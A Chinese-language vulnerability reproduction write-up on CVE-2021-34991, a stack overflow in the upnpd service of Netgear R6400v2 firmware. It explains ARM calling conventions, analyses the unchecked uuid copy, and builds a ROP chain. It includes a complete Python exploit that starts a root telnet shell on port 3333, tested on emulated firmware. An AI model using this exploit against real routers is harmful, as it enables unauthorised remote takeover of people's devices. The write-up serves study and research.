0x00:前言
CVE-2021-34991漏洞可以在Netgear SOHO个别设备中获取root权限,进行远程代码执行。该漏洞发生于upnp服务程序中没有严格检查字符串拷贝的长度,导致可以栈溢出控制程序的执行流。
本次复现所采用的固件版本为R6400v2-1.0.4.118,可点击这里进行下载。
0x01:相关汇编知识
固件中程序所采用的是32位ARM架构,这里仅是讲讲复现过程中的重要内容,并没有对整个体系进行讲解。
常用的寄存器有R0、R1、R2、···、R15,R0/R1/R2/R3用于函数的参数传递,函数返回时用R0保存返回值。这里使用的顺序编号,其中一些寄存器还使用了其它标识。
其中:
- R11为FP,为栈底指针寄存器,如同X86下的EBP;
- R13为SP,为栈顶指针寄存器;
- R14为LR,在调用函数时保存下个指令的地址;
- R15为PC,指向CPU执行的指令;
下面来看看arm函数调用和函数返回的过程:
.text:0001DEC8 05 00 A0 E1 MOV R0, R5 ; int
.text:0001DECC 08 10 A0 E1 MOV R1, R8 ; needle
.text:0001DED0 84 21 9F E5 LDR R2, =(aSslHttpSocketC+0x20) ; "\r\n"
.text:0001DED4 06 30 A0 E1 MOV R3, R6
.text:0001DED8 91 BD FF EB BL find_token_get_val
.text:0001DED8
.text:0001DEDC 00 00 50 E3 CMP R0, #0
上面为调用find_token_get_val的汇编代码,使用BL跳转时,会先保存下一指令的地址(即0x0001DEDC)到LR中,然后进行跳转。如果是指令B,则直接进行跳转。
// find_token_get_val首条指令
.text:0000D524 F0 47 2D E9 PUSH {R4-R10,LR}
// find_token_get_val返回时
.text:0000D538 04 00 A0 E1 MOV R0, R4
.text:0000D53C F0 87 BD E8 POP {R4-R10,PC}
从上面可见,在进入find_token_get_val后,首先使用PUSH把父函数的寄存器信息保存,返回时,再使用POP进行恢复。现在来看看这两条指令,里面的”R4-R10”,指的是R4、R5、···、R9、R10寄存器。
如果以X86的视角进行分析: 首先push R4,然后R5, 直到LR;返回时pop R4, R5…诶?不太对,从右往左试试~🙂 仅按括号中的左右顺序进行分析,无论怎样,始终感觉奇怪。其实,ARM采用了更加简单直接的方式:
从官方手册的描述中,我们可以知道是以寄存器的编号大小为PUSH/POP的顺序,大编号对应高地址,小编号对应低地址。以前面的指令为例,并且我们已知栈是从高地址往低地址发展的。PUSH {R4-R10, LR}
:先把LR(R14)压栈,再到R10、R9、···、R4。POP {R4-R10, PC}
:先出栈给R4,再到R5,···,最后是LR。
0x02:漏洞分析
该栈溢出漏洞发生在upnpd程序的gena_response_unsubscribe
函数中:
char needle[10240]; // [sp+8h] [bp-2C68h] BYREF
char http_msg[512]; // [sp+2808h] [bp-468h] BYREF
char v14[512]; // [sp+2A08h] [bp-268h] BYREF
char uuid_buffer[104]; // [sp+2C08h] [bp-68h] BYREF
memset(v14, 0, sizeof(v14));
memset(http_msg, 0, sizeof(http_msg));
memset(uuid_buffer, 0, 0x40);
(likePrint)(2, "%s(%d)\n", "gena_response_unsubscribe");
strncpy(http_msg, a1, 511u); // a1 -> v13
strlwr(http_msg); // 转换成小写
if ( !strstr(http_msg, "sid:") ) // strstr(str1, str2) 判断str2是否为str1的子串
return (send_error_response)(a2);
if ( !strstr(http_msg, "host:") )
return (send_error_response)(a2);
if ( !stristr(http_msg, "uuid:") )
return (send_error_response)(a2);
memset(uuid_buffer, 0, 0x40u); // 用于存储从http_msg中获取的uuid值
memset(needle, 0, sizeof(needle));
strncpy(needle, "uuid:", 0x3FFu);
if ( !(find_token_get_val)(http_msg, needle) )
return (send_error_response)(a2);
gena_response_unsubscribe
函数用于处理http中的UNSUBSCRIBE请求,使用strncpy将传入的http报文信息拷贝到数组http_msg中,然后使用strlwr将http_msg中的大写字母转换为小写。在下面调用find_token_get_val
函数获取uuid的值时,可以赋给uuid_buffer过多的值导致栈溢出:
uuid_value_end = strstr(a1, a3); // 指向uuid值的结束
v4 = uuid_value_end;
if ( uuid_value_end )
{
if ( uuid_value_end - uuid_value_start < 1024 ) // 1024
strncpy(a4, uuid_value_start, uuid_value_end - uuid_value_start);
else
要想控制执行流进行getshell,首先我们需要知道如何构造uuid的值,使得返回地址覆盖为gadget的地址,从而控制执行流。需要注意的是:1) strncpy拷贝数据是有\x00字节截断的,如果我们构造uuid值中带有\x00,那么前面strncpy(http_msg, a1, 511u)
这里将导致报文缺失,从而获取uuid时,找不到\r\n而引起程序退出;2) 前面有大小写转换,那么gadget中不能含有A-Z对应的ascii码值;
对于第一点分析,指令地址的高字节是有\x00的,但由于程序是小端序,我们可以用\r\n
绕过,\r\n替代掉高字节的\x00。作为代价是我们uuid值中,只能带有一个gadget地址。
对于第二点,虽然在gena_response_unsubscribe
函数的栈帧空间中,http报文会转换为小写,但在调用gena_response_unsubscribe
函数的父函数的栈帧空间中报文还是原始的格式。我们可以增加SP的值,使其指向该处。
大概思路:控制执行流后先add sp,使其指向getshell gadget,然后pop pc;getshell指令是BL system,不过要先把参数放入R0。至于system的参数,可以通过另外一个请求传入全局变量0x66AD0处。
0x03:编写EXP
首先说一下idaF5反编译的问题:从汇编指令来看,find_token_get_val(http_msg, needle)
其实是为find_token_get_val(http_msg, needle, "\r\n", uuid_buffer)
。然后,至于uuid_buffer的大小:
// 进入gena_response_unsubscribe后:
.text:0001DDAC F0 4F 2D E9 PUSH {R4-R11,LR}
.text:0001DDB0 B1 DD 4D E2 SUB SP, SP, #0x2C40
.text:0001DDB4 0C D0 4D E2 SUB SP, SP, #0xC
// uuid_buffer第一次memset:
.text:0001DE04 02 3A 8D E2 ADD R3, SP, #0x2C70+var_C70
.text:0001DE08 0B 0B 8D E2 ADD R0, SP, #0x2C70+var_70
.text:0001DE0C 04 10 A0 E1 MOV R1, R4 ; c
.text:0001DE10 3C 20 A0 E3 MOV R2, #0x3C ; '<' ; n
.text:0001DE14 08 4C 83 E5 STR R4, [R3,#0xC08]
.text:0001DE18 0C 00 80 E2 ADD R0, R0, #0xC ; s
.text:0001DE1C 18 B7 FF EB BL memset
//uuid_buffer第二次memset
.text:0001DE8C 0B 6B 8D E2 ADD R6, SP, #0x2C70+var_70
.text:0001DE90 08 80 8D E2 ADD R8, SP, #0x2C70+needle
.text:0001DE94 08 60 86 E2 ADD R6, R6, #8
.text:0001DE98 04 10 A0 E1 MOV R1, R4 ; c
.text:0001DE9C 40 20 A0 E3 MOV R2, #0x40 ; '@' ; n
.text:0001DEA0 06 00 A0 E1 MOV R0, R6 ; s
.text:0001DEA4 F6 B6 FF EB BL memset
//退出gena_response_unsubscribe前:
.text:0001DF04 4C D0 8D E2 ADD SP, SP, #0x4C ; 'L'
.text:0001DF08 0B DB 8D E2 ADD SP, SP, #0x2C00
.text:0001DF0C F0 8F BD E8 POP {R4-R11,PC}
这里比较奇怪的是,两次对uuid_buffer进行memset,uuid_buffer的起始空间是不同的,一个是sp+0x2c00,一个是sp+0x2c08。不过我们可以看到,调用find_token_get_val时是sp+0x2c08,此时uuid_buffer的空间大小为0x44,再上面就是R4、R5、…、R11、LR了。所以我们要先填充0x64字节的数据,再追加我们的gadget。
下面EXP采用的gadget是:
.text:00021F34 01 DA 8D E2 ADD SP, SP, #0x1000
.text:00021F38 F0 80 BD E8 POP {R4-R7,PC}
.text:00018150 04 00 A0 E1 MOV R0, R4 ; command
.text:00018154 C1 CC FF EB BL system
EXP为:
import socket
import pwn
port = 5000
ip = "192.168.1.1"
command = "/bin/utelnetd -p3333 -l/bin/sh -d"
def s2b(s):
return bytes([ord(x) for x in s])
def mySend(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(payload)
pwn.sleep(1)
sock.close()
def set_command():
# 将命令写到全局变量中
payload = b'<?xml version="1.0"?> '
payload += b'<SOAP-ENV:Envelope> '
payload += b'Body>:'
payload += s2b(command.replace(" ","${IFS}"))
payload += b';Body >'
payload += b" </SOAP-ENV:Body> "
payload += b"</SOAP-ENV:Envelope>"
request = b'POST /Public_UPNP_C5 HTTP/1.1\r\n'
request += s2b('Host: http://{}:{}\r\n'.format(ip, port))
request += b'SOAPAction\r\n'
request += s2b('Content-Length: {}\r\n'.format(len(payload)))
request += b'\r\n'
request += payload
mySend(ip, port, request)
def Exploit():
stack_add_gadget = 0x21F34 #ADD SP, SP, #0x1000; POP {R4-R7,PC}
padding1 = 1304
command_address = 0x66AD0
padding2 = 12
system_gadget = 0x18150 #MOV R0, R4; BL system
payload = b'UNSUBSCRIBE /Public_UPNP_Event_1 HTTP/1.1\r\n'
payload += s2b('Host: http://{}:{}\r\n'.format(ip, port))
payload += b'SID: whatever\r\n'
payload += b'UUID: ' + b"A"*67
payload += b'4444'
payload += b'5555'
payload += b'6666'
payload += b'7777'
payload += b'8888'
payload += b'9999'
payload += b'1010'
payload += b'1111'
# 小端序地址,使用\r\n替代掉\x00
payload += pwn.p32(stack_add_gadget)[:3]
payload += b'\r\n\r\n'
# 通过调试找到原始报文的位置,添加垃圾数据,使SP+0x1000后,指向command_address处
payload += b'J' * (padding1 - len(payload))
# 执行system(command)
payload += pwn.p32(command_address)
payload += b'K' * padding2
payload += pwn.p32(system_gadget)
set_command() # 将命令存在0x66AD0
mySend(ip, port, payload)
if __name__ == "__main__":
Exploit()
0x04:测试
这里使用固件自动化模拟工具–FirmAE进行模拟(使用教程)。
./run.sh -c R6400v2 ./firmwares/R6400v2-V1.0.4.118_10.0.90.chk
检查一下是否可以模拟。
./run.sh -r R6400v2 ./firmwares/R6400v2-V1.0.4.118_10.0.90.chk
开始模拟,服务开在了192.168.1.1。
进行调试的话,将参数改为-d。
我们可以用nmap扫一下端口,发现upnp服务已经默认开启在了5000端口。
执行exp后,即可使用telnet连接目标的3333端口。
tolele@u22: $ python3 upnpd_exp.py
tolele@u22: $ telnet 192.168.1.1 3333
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
BusyBox v1.7.2 (2021-06-30 20:48:26 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
bin etc_ro media root sys www
data firmadyne mnt run tmp
dev lib opt sbin usr
etc lost+found proc share var
#
0x05:总结
本次漏洞复现收获颇丰,但也发现了自身知识薄弱的地方:
1)IOT设备服务程序很多,怎样快速的发现漏洞?或者使用模糊测试工具?
2)计算机网络知识与逆向功底不到位,报文格式的构造模模糊糊;
0x06:参考
1、https://github.com/grimm-co/NotQuite0DayFriday/blob/trunk/2021.11.16-netgear-upnp/README.md